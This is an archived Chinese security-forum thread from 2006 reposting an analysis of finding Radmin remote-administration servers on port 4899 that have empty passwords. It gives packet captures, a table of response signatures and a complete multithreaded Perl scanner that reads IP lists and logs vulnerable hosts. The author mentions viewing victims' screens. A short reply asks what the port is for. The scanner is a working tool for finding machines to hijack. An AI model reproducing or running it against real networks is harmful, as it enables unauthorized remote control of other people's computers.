邪恶八进制信息安全团队技术讨论组's Archiver

金州 2006-1-2 23:00

[转载]对4899端口空口令探测方法的分析

信息来源:[url]http://zkwang.yeah.net[/url]


4899端口的机器一般是Remote Administrator服务端安装后开放的。近来代理技术论坛上有不少关于探测“4899空口令”的方法的贴子,而且已经有专用的扫描程序。现在针对这一技术作出分析,并给出多线程探测空口令的perl程序。

在使用Radmin客户端进行连接时通过网络监测软件对网络通信进行监测,可以探测到如下的信息:

本机发出:

0x0000 00 07 4F 41 98 09 00 D0-09 CE 52 51 08 00 45 00 ..OA?.?蜶Q..E.
0x0010 00 30 F4 13 40 00 80 06-71 46 CA C2 BE 73 CA 64 .0?@..qF事緎蔰
0x0020 41 D3 05 2B 13 23 33 8D-11 CE 00 00 00 00 70 02 A?+.#3??...p.
0x0030 FF FF 90 08 00 00 02 04-05 B4 01 01 04 02  ?.....?...

收到信息:

0x0000 00 D0 09 CE 52 51 00 07-4F 41 98 09 08 00 45 00 .?蜶Q..OA?..E.
0x0010 00 2C 71 79 40 00 6B 06-08 E5 CA 64 41 D3 CA C2 .,qy@.k..迨dA邮?
0x0020 BE 73 13 23 05 2B 02 4E-24 81 33 8D 11 CF 60 12 緎.#.+.N$??蟕.
0x0030 22 38 5B F7 00 00 02 04-05 B4 00 00 "8[?....?.

本机发出:

0x0000 00 07 4F 41 98 09 00 D0-09 CE 52 51 08 00 45 00 ..OA?.?蜶Q..E.
0x0010 00 28 F4 14 40 00 80 06-71 4D CA C2 BE 73 CA 64 .(?@..qM事緎蔰
0x0020 41 D3 05 2B 13 23 33 8D-11 CF 02 4E 24 82 50 10 A?+.#3??N$侾.
0x0030 FF FF 95 EC 00 00

0x0000 00 07 4F 41 98 09 00 D0-09 CE 52 51 08 00 45 00 ..OA?.?蜶Q..E.
0x0010 00 32 F4 15 40 00 80 06-71 42 CA C2 BE 73 CA 64 .2?@..qB事緎蔰
0x0020 41 D3 05 2B 13 23 33 8D-11 CF 02 4E 24 82 50 18 A?+.#3??N$侾.
0x0030 FF FF 8B D2 00 00 01 00-00 00 01 00 00 00 08 08 嬕............

收到信息:

0x0000 00 D0 09 CE 52 51 00 07-4F 41 98 09 08 00 45 00 .?蜶Q..OA?..E.
0x0010 00 56 73 79 40 00 6B 06-06 BB CA 64 41 D3 CA C2 .Vsy@.k..皇dA邮?
0x0020 BE 73 13 23 05 2B 02 4E-24 82 33 8D 11 D9 50 18 緎.#.+.N$??貾.
0x0030 22 2E 38 69 00 00 01 00-00 00 25 04 00 01 10 08 ".8i......%.....
0x0040 01 00 04 08 00 00 00 00-00 00 00 00 00 00 00 00 ................
0x0050 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0x0060 00 00 00 00 ....

... ... (略)

经过分析,在建立TCP连接后,本机发出的请求信息为:

“ 01 00 00 00 01 00 00 00 08 08 ” (引号内数据)

对方返回的应答信息为:

01 00 00 00 25 04 00 01 10 08 01 00 04 08 00 00 00 ……

已经知道对方4899端口是一个设口令的机器。如果对方存在空口令,那么返回的数据里面就包含了扫描空口令的软件提供的“验证码”。

对许多开放4899端口的机器进行探测,可以得到许多不同的结果。

下面的验证数据是进行大量探测获得的有可能返回的信息,前面的Y或N是人为加上的,代表存在或不存在空口令。(这些数据是从网上贴子上摘的,感谢!):

N01000000250100011008010001080000
N01000000250070011008017000080000
N01000000250030011008013000080000
N01000000250040011008014000080000
N01000000250060011008016000080000
N01000000250100001008000001080000
N01000000250020011008012000080000
N01000000250080011008018000080000
N01000000250090011008019000080000
N0100000025B6573ADC080000000656AD
N01000000250010011008011000080000
N01000000250050011008015000080000
N010000002500A001100801A000080000
NFFFB01FFFB03FFFD0354454C4E455420
Y01000000250200011008010002080000
Y01000000250260011008016002080000
Y01000000250600011008010006080000
Y01000000250210011008011002080000
Y010000002502A001100801A002080000
Y01000000250220011008012002080000
Y01000000250240011008014002080000
Y01000000250280011008018002080000

**

请注意*号向上对应的数字,会发现凡是存在空口令的机器返回的数据在该位置不是02就是06,而非空口令机器返回的是其他数字。当然这未必是完全正确的,但使用目前得到的数据来分析,使用这条规则来区分是否为空口令是没有问题的:)下面的perl程序就是利用这个特定位置进行判断的。

分析到这一步,可以编程模拟Radmin客户端发出请求,然后分析对方返回的特定位置的信息,就可以确定对方是否存在“4899空口令”了。

下面是我用perl写的探测程序。首先要借助端口扫描软件把开放4899端口的ip保存在IPList.lst里(L-ScanPort默认的导出文件名 ),一行一个IP。

使用方法:修改第一行perl.exe所在的路径,直接运行4899.pl,探测结果会有提示,连接不成功的会有连接失败的提示。最后探测到有空口令的结果会保存在4899.txt里。

#!c:\perl\bin\perl.exe
# 4899空口令探测脚本 written by zkwang 2004.2.26
# windows2000 activeperl5.8 测试通过

print ("4899空口令探测器 把开放4899端口的ip放在IPList.lst文件里,每行一个ip\n\n\n");
if (!(-e "IPList.lst")) { print ("IPList.lst is not exist!\n"); exit;}

use Thread;
use IO::Socket;

$port=4899;
$send="\x01\x00\x00\x00\x01\x00\x00\x00\x08\x08";

open(file1,"IPList.lst");
open(file2,">>4899.txt");
$i=1;
while(<file1> )
{
$ip=$_;
chomp($ip);
$thread[$i]=Thread->new(\&scan,$ip);
$i++;
}
for($j=1;$j<$i;$j++)
{
$thread[$j]->join();
}
close(file1);
close(file2);

sub scan
{
$ip=shift;
$sock=IO::Socket::INET->new(PeerAddr=>$ip,PeerPort=>$port,Proto=>"tcp",Type=>SOCK_STREAM) or die "$ip connect failed!\r\n";
print $sock "$send";
$reply=<$sock>;
$key=substr($reply,5,1); # 截取特定位置的信息
if(($key eq "\x02")||($key eq "\x06"))
{
print ("$ip is nopassword! ok!\n");
print file2 ("$ip is nopassword! ok!\n");
}
else {print ("$ip need password!\n");}
close($sock);
}
 

经过测试该程序,可以正确判断出存在空口令的ip。但是探测到的6个空口令ip,第二天只剩1个还开着4899端口:( 其实查看对方屏幕也能看出来,多半是PC。

探测程序只是初步的,过几天可能还要修改。 

(欢迎转载,请注明出处 [url]http://zkwang.yeah.net[/url](需要代理)

rinkey 2006-1-3 12:29

不好意思噢!我问一下噢^
4899用来干什么滴呀.我是小菜,偶不懂. [s:83]

页: [1]
© 1999-2008 EvilOctal Security Team